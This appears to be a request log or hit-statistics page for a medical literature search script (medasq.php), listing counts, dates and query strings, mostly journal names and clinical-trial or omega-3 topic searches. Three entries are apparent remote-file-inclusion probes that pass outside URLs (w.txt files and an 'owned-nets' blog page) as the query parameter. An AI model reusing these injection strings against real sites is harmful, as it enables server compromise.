93: : 4-Set-10 04:06: /medasq.php?z=(j am geriatr soc [ta] OR age ageing [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
93: : 7-Set-10 13:38: /medasq.php?z=J+Physiol+Sci&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
93: : 5-Set-10 09:12: /medasq.php?z=Am+J+Physiol+Heart+Circ+Physiol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
93: : 1-Set-10 09:46: /medasq.php?z=J+Allergy+Clin+Immunol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
93: : 23-Ago-10 17:00: /medasq.php?z=Eur+J+Cancer&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
93: : 7-Set-10 08:40: /medasq.php?z=J+Laryngol+Otol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
93: : 14-Ago-10 18:55: /medasq.php?z=Clin+J+Sport+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
93: : 20-Ago-10 05:58: /medasq.php?z=Biofactors&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
93: : 4-Set-10 00:28: /medasq.php?z=(diabetes [ta] OR j bone miner res [ta] OR diabetologia [ta] OR j clin endocrinol metab [ta] OR diabetes care [ta] OR clin endocrinol oxf [ta] OR psychoneuroendocrinology [ta] OR diabetes res clin pract [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
93: : 15-Ago-10 04:05: /medasq.php?z=Ophthalmic+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
93: : 7-Set-10 02:11: /medasq.php?z=Br+J+Rheumatol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
93: : 2-Set-10 21:14: /medasq.php?z=Prostate&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
93: : 4-Set-10 10:57: /medasq.php?z=Arch+Intern+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
92: : 3-Set-10 15:45: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (neoplasms [mesh] | neoplas* [all] | tumor* [all] | tumour* [all] | cancer* [all] | carcin* [all] | sarcom* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
92: : 31-Ago-10 02:38: /medasq.php?z=Nephrol+Dial+Transplant&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
92: : 16-Ago-09 00:24: /medasq.php?z=http://www.chajari.gov.ar/w.txt??
92: : 7-Set-10 17:20: /medasq.php?z=Histol+Histopathol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
92: : 4-Set-10 07:07: /medasq.php?z=Bioorg+Med+Chem+Lett&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
91: : 15-Ago-10 19:07: /medasq.php?z=Trans+Am+Ophthalmol+Soc&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
91: : 1-Set-10 09:27: /medasq.php?z=Am+J+Physiol+Regul+Integr+Comp+Physiol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
91: : 31-Ago-10 13:26: /medasq.php?z=Fertil+Steril&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
91: : 6-Set-10 12:01: /medasq.php?z=J+Physiol+Pharmacol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
91: : 30-Ago-10 00:52: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 (pregnancy [majr] | pregnancy complications [majr] | lactation [majr])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
91: : 2-Set-10 10:17: /medasq.php?z=Eur+Heart+J&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
91: : 3-Set-10 11:57: /medasq.php?z=J+Affect+Disord&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
90: : 3-Set-10 08:00: /medasq.php?z=Food+Chem+Toxicol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
90: : 7-Set-10 02:05: /medasq.php?z=(mol pharmacol [ta] OR br j pharmacol [ta] OR j pharmacol exp ther [ta] OR eur j pharmacol [ta] OR life sci [ta] OR biochem pharmacol [ta] OR pharmacol biochem behav [ta] )&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
90: : 5-Set-10 11:10: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (pregnancy [mesh] | pregnancy complications [mesh] | lactation [mesh] | pregn* [all] | lactati* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
90: : 3-Set-10 03:23: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (venous insufficiency [all] | microcirculation [all])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
90: : 4-Set-10 16:46: /medasq.php?z=Exp+Pathol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
89: : 6-Set-10 09:34: /medasq.php?z=Clin+Rheumatol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
89: : 6-Set-10 01:09: /medasq.php?z=Clin+Otolaryngol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
89: : 18-Ago-10 17:47: /medasq.php?z=Dev+Med+Child+Neurol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
89: : 30-Ago-10 22:08: /medasq.php?z=Eur+Neuropsychopharmacol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
89: : 2-Set-10 22:55: /medasq.php?z=Cancer+Causes+Control&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
89: : 5-Set-10 10:25: /medasq.php?z=Pediatr+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
89: : 5-Set-10 22:50: /medasq.php?z=Retina&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
88: : 27-Ago-10 17:02: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (eye diseases [mesh] | eye disease* [all] | eye disorder* [all] | visual disease* [all] | visual disorder* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
88: : 28-Ago-10 02:29: /medasq.php?z=Sov+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
88: : 1-Set-10 11:40: /medasq.php?z=Horm+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
88: : 28-Ago-10 23:46: /medasq.php?z=Int+J+Pharm&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
87: : 7-Set-10 03:26: /medasq.php?z=Nat+Prod+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
87: : 23-Ago-10 18:28: /medasq.php?z=Phytomedicine&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
87: : 14-Ago-10 15:34: /medasq.php?z=Alzheimers+Dement&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
87: : 6-Set-10 18:46: /medasq.php?z=J+Nutrigenet+Nutrigenomics&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
87: : 2-Set-10 18:46: /medasq.php?z=Int+J+Addict&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
87: : 4-Set-10 04:29: /medasq.php?z=(ann surg [ta] OR j vasc surg [ta] OR arch surg [ta] OR surgery [ta] OR am j surg [ta] OR br j surg [ta] OR j am coll surg [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
87: : 25-Ago-10 04:06: /medasq.php?z=J+Exp+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
87: : 14-Ago-10 22:14: /medasq.php?z=South Med J&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
86: : 26-Ago-10 10:28: /medasq.php?z=Am+Fam+Physician&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
86: : 25-Ago-10 21:47: /medasq.php?z=Chest&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
86: : 7-Set-10 15:02: /medasq.php?z=Res+Commun+Mol+Pathol+Pharmacol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
86: : 15-Ago-10 05:20: /medasq.php?z=Bratisl+Lek+Listy&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
86: : 1-Set-10 11:07: /medasq.php?z=Osteoarthritis+Cartilage&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
86: : 1-Set-10 07:25: /medasq.php?z=Clin+Exp+Allergy&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
86: : 4-Set-10 19:28: /medasq.php?z=J+Infect+Dis&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
86: : 7-Set-10 13:40: /medasq.php?z=Pol+Arch+Med+Wewn&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
85: : 14-Ago-10 15:27: /medasq.php?z=Cancer+Epidemiol+Biomarkers+Prev&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
85: : 28-Ago-10 01:21: /medasq.php?z=J+Neurosurg+Spine&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
85: : 24-Ago-10 13:06: /medasq.php?z=Int+J+Vitam+Nutr+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
84: : 2-Set-10 07:06: /medasq.php?z=In+Vivo&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
84: : 5-Set-10 16:09: /medasq.php?z=J+Food+Sci&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
84: : 2-Set-10 22:59: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 (diabetes mellitus [majr])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
84: : 7-Set-10 10:37: /medasq.php?z=Sex+Health&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
84: : 6-Set-10 23:10: /medasq.php?z=Mol+Cancer+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
84: : 14-Ago-10 21:47: /medasq.php?z=Biochem+Biophys+Res+Commun&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
84: : 30-Lug-09 11:54: /medasq.php?z=http://www.fitfactor.siemenstransport.com/w.txt??
84: : 6-Set-10 07:18: /medasq.php?z=Biull+Eksp+Biol+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
84: : 6-Set-10 21:57: /medasq.php?z=Biochim+Biophys+Acta&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
84: : 30-Ago-10 05:13: /medasq.php?z=Paediatr+Perinat+Epidemiol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
84: : 3-Set-10 16:09: /medasq.php?z=Clin+Endocrinol+(Oxf)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
83: : 31-Ago-10 03:05: /medasq.php?z=J+Periodontol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
83: : 19-Ago-10 00:04: /medasq.php?z=Cerebrovasc+Dis&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
83: : 4-Set-10 18:59: /medasq.php?z=Ann+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
83: : 3-Set-10 01:05: /medasq.php?z=Thorax&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
83: : 6-Set-10 10:40: /medasq.php?z=Neurosci+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
82: : 7-Ago-10 21:57: /medasq.php?z=Neuropsychopharmacology&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
82: : 6-Set-10 01:08: /medasq.php?z=Adv+Biochem+Psychopharmacol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
81: : 7-Set-10 06:27: /medasq.php?z=Ann+Ital+Med+Int&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
81: : 29-Ago-10 13:07: /medasq.php?z=Epidemiology&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
81: : 14-Ago-10 15:18: /medasq.php?z=An+Med+Interna&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
81: : 24-Ago-10 18:39: /medasq.php?z=Diabetes&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
80: : 30-Ago-10 14:09: /medasq.php?z=Eur+J+Clin+Invest&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
80: : 5-Set-10 17:03: /medasq.php?z=Acad+Emerg+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
80: : 7-Set-10 22:38: /medasq.php?z=Metabolism&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Journals&free=
80: : 6-Set-10 18:00: /medasq.php?z=Pharmacotherapy&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
80: : 5-Set-10 14:30: /medasq.php?z=Am+J+Surg&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
80: : 9-Nov-09 11:01: /medasq.php?z=http://owned-nets.blogspot.com/2009/05/pro0f3th1sddbluelinebe.html?
80: : 6-Set-10 06:02: /medasq.php?z=Eur+J+Haematol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
80: : 7-Set-10 03:12: /medasq.php?z=Int+J+Androl&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
79: : 6-Set-10 09:19: /medasq.php?z=Indian+J+Med+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
79: : 6-Set-10 00:15: /medasq.php?z=J+Psychiatr+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
79: : 5-Set-10 16:56: /medasq.php?z=(am j epidemiol [ta] OR am j public health [ta] OR j clin epidemiol [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
79: : 6-Set-10 23:39: /medasq.php?z=Future+Cardiol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
79: : 5-Set-10 20:42: /medasq.php?z=Wien+Med+Wochenschr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
78: : 25-Ago-10 05:52: /medasq.php?z=In+Vitro+Cell+Dev+Biol+Anim&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
78: : 23-Ago-10 04:44: /medasq.php?z=J+Clin+Psychopharmacol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
78: : 31-Ago-10 06:52: /medasq.php?z=Br+J+Clin+Pharmacol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
78: : 6-Set-10 21:09: /medasq.php?z=Diabetes+Res+Clin+Pract&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
78: : 25-Ago-10 20:51: /medasq.php?z=Am+J+Health+Syst+Pharm&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
78: : 3-Set-10 07:21: /medasq.php?z=Pharmacol+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
78: : 3-Set-10 15:22: /medasq.php?z=Curr+Eye+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
78: : 30-Ago-10 13:57: /medasq.php?z=Drugs&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
78: : 5-Set-10 22:43: /medasq.php?z=Zh+Nevropatol+Psikhiatr+Im+S+S+Korsakova&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
77: : 16-Ago-10 09:28: /medasq.php?z=Mini+Rev+Med+Chem&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
77: : 29-Ago-10 18:52: /medasq.php?z=Cancer&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
77: : 28-Ago-10 13:50: /medasq.php?z=Int+J+STD+AIDS&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
77: : 29-Ago-10 03:20: /medasq.php?z=Korean+J+Gastroenterol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
77: : 7-Set-10 22:50: /medasq.php?z=Apoptosis&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
77: : 22-Ago-10 13:59: /medasq.php?z=J+Gastrointest+Surg&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
77: : 24-Ago-10 01:36: /medasq.php?z=Am+J+Drug+Alcohol+Abuse&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
77: : 31-Ago-10 17:00: /medasq.php?z=Vopr+Pitan&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
77: : 5-Set-10 11:16: /medasq.php?z=Arch+Dermatol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
76: : 17-Ago-10 13:53: /medasq.php?z=Contraception&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
76: : 4-Set-10 07:55: /medasq.php?z=Ophthalmologica&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
76: : 27-Ago-10 03:59: /medasq.php?z=J+Psychoactive+Drugs&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
76: : 7-Set-10 04:16: /medasq.php?z=Expert+Rev+Cardiovasc+Ther&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
76: : 3-Set-10 09:42: /medasq.php?z=Practitioner&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
76: : 5-Set-10 12:18: /medasq.php?z=J+Endocrinol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
76: : 17-Ago-10 22:55: /medasq.php?z=Harefuah&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
75: : 4-Set-10 13:16: /medasq.php?z=World+J+Surg&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
75: : 30-Ago-10 23:37: /medasq.php?z=Curr+Alzheimer+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
75: : 29-Ago-10 01:27: /medasq.php?z=Alcohol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
75: : 28-Ago-10 01:22: /medasq.php?z=Biochem+Pharmacol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
74: : 31-Ago-10 01:40: /medasq.php?z=Heart&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
74: : 3-Set-10 05:32: /medasq.php?z=JPEN+J+Parenter+Enteral+Nutr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
74: : 5-Set-10 22:08: /medasq.php?z=Clin+Neuropharmacol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
74: : 4-Set-10 11:31: /medasq.php?z=Am+J+Public+Health&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
74: : 2-Set-10 19:23: /medasq.php?z=J+Nutr+Health+Aging&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
74: : 7-Set-10 21:54: /medasq.php?z=BMC+Urol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
73: : 1-Set-10 02:01: /medasq.php?z=Osteoporos+Int&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
73: : 24-Ago-10 13:06: /medasq.php?z=Nippon+Ganka+Gakkai+Zasshi&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
73: : 29-Ago-10 23:21: /medasq.php?z="br j addict"[Journal] OR "alcohol clin exp res"[Journal] OR "alcohol"[Journal] OR "j stud alcohol"[Journal] OR "addiction"[Journal] OR "alcohol alcohol"[Journal] OR "drug alcohol depend"[Journal] OR "int j addict"[Journal]) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
73: : 28-Ago-10 03:13: /medasq.php?z=(arch ophthalmol [ta] OR ophthalmology [ta] OR am j ophthalmol [ta] OR br j ophthalmol [ta] OR eye [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Show&free=
73: : 7-Set-10 04:42: /medasq.php?z=Radiology&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
73: : 30-Ago-10 12:10: /medasq.php?z=Emerg+Med+Clin+North+Am&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
72: : 31-Ago-10 04:13: /medasq.php?z=AJR+Am+J+Roentgenol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
72: : 19-Ago-10 10:22: /medasq.php?z=Curr+Opin+Ophthalmol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
72: : 14-Ago-10 18:48: /medasq.php?z=Psychoneuroendocrinology&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
72: : 27-Ago-10 10:45: /medasq.php?z=Nutr+Res+Rev&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
72: : 25-Ago-10 20:46: /medasq.php?z=Eur+J+Nutr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
71: : 6-Set-10 15:29: /medasq.php?z=Endokrinologie&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
71: : 5-Set-10 16:09: /medasq.php?z=Pediatr+Endocrinol+Rev&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
71: : 28-Ago-10 01:06: /medasq.php?z=J+Pineal+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
71: : 5-Set-10 14:54: /medasq.php?z=Diab+Vasc+Dis+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
71: : 5-Set-10 19:44: /medasq.php?z=Rev+Prat&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
71: : 30-Ago-10 03:46: /medasq.php?z=Thorac+Cardiovasc+Surg&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
71: : 15-Ago-10 08:48: /medasq.php?z=Cancer+Detect+Prev&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
71: : 7-Set-10 20:20: /medasq.php?z=Mol+Cancer+Ther&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
71: : 4-Set-10 09:30: /medasq.php?z=Agents+Actions&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
70: : 15-Ago-10 15:43: /medasq.php?z=J+Clin+Biochem+Nutr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
70: : 6-Set-10 10:05: /medasq.php?z=Arch+Surg&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
70: : 22-Ago-10 20:21: /medasq.php?z=Ugeskr+Laeger&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
70: : 6-Set-10 17:10: /medasq.php?z=Clin+Rev+Allergy+Immunol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
70: : 5-Set-10 11:24: /medasq.php?z=Subst+Alcohol+Actions+Misuse&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
70: : 5-Set-10 18:23: /medasq.php?z=Am+J+Nephrol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
70: : 7-Set-10 15:28: /medasq.php?z=J+Obstet+Gynaecol+Can&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
70: : 21-Ago-10 17:06: /medasq.php?z=J+Cardiovasc+Pharmacol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
70: : 7-Set-10 05:49: /medasq.php?z=Nature&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Journals&free=
70: : 27-Ago-10 07:27: /medasq.php?z=Neuroscience&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
70: : 6-Set-10 13:59: /medasq.php?z=Allergy&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
70: : 6-Set-10 07:16: /medasq.php?z=Panminerva+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
70: : 14-Ago-10 14:37: /medasq.php?z=Pediatr+Blood+Cancer&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
70: : 6-Set-10 04:51: /medasq.php?z=Am+J+Reprod+Immunol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
69: : 7-Set-10 00:18: /medasq.php?z=Vet%2520J&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
69: : 3-Set-10 21:30: /medasq.php?z=An+Bras+Dermatol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
69: : 19-Ago-10 21:40: /medasq.php?z=Clin+Cancer+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
69: : 31-Ago-10 06:17: /medasq.php?z=J Immunol&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
69: : 30-Ago-10 08:49: /medasq.php?z=Cleve+Clin+J+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
69: : 14-Ago-10 15:03: /medasq.php?z=Int MS J&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
69: : 5-Set-10 21:45: /medasq.php?z=Mol+Pharmacol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
69: : 26-Ago-10 17:36: /medasq.php?z=J+Perinat+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
